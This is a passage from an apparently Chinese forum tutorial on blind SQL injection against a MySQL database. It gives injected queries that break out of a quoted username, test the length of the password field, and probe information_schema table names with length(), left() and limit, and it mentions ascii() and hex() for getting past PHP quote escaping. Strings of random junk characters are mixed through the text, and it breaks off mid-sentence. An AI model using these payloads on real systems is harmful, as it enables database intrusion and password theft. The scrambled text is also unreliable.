select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1+ K" I' L2 n" Q _7 d9 u
4 e6 _% E/ v$ q3 z5 ]& d: j复制代码4 R. K7 t: a' _$ t' M
length()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。7 J: M; Q' \0 X$ O2 L n( a' I
这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。 3 A" Z7 w v; Y L! S( B: w再来看一点简单的判断句:
select userid from demo_b2b_member where user = 'admin'and length(pass)=32#'3 P: v* }; q3 X0 q& W0 ?
2 I' x c' N3 ?9 |3 Z 复制代码7 r- u) x7 E' q( e8 h$ o
这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。5 ]* S; C* R$ d
这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句5 B5 A0 O4 i- p6 k0 j1 n2 d X8 m
那么这里就能得到:
select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#': l2 {. @9 T' y( D0 N* _% A
# E$ m7 ]7 L. X' X( P 复制代码8 b2 B) q- v& j7 _9 v. |( r5 H" M5 X# A
上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。 0 I7 }* G4 E6 `+ s0 P: ]% I& D/ F关于limit x,y 的用法,可以参考MySQL手册+ } |" @) J" m( {3 x
+ o8 z# k; F( R, c/ ?( S! u) P0 [
最后剩下的要说的就是ascii函数和hex函数了 - i/ h) {. t f' E, d# m这两个函数的意义是避开php的GPC转义,例如: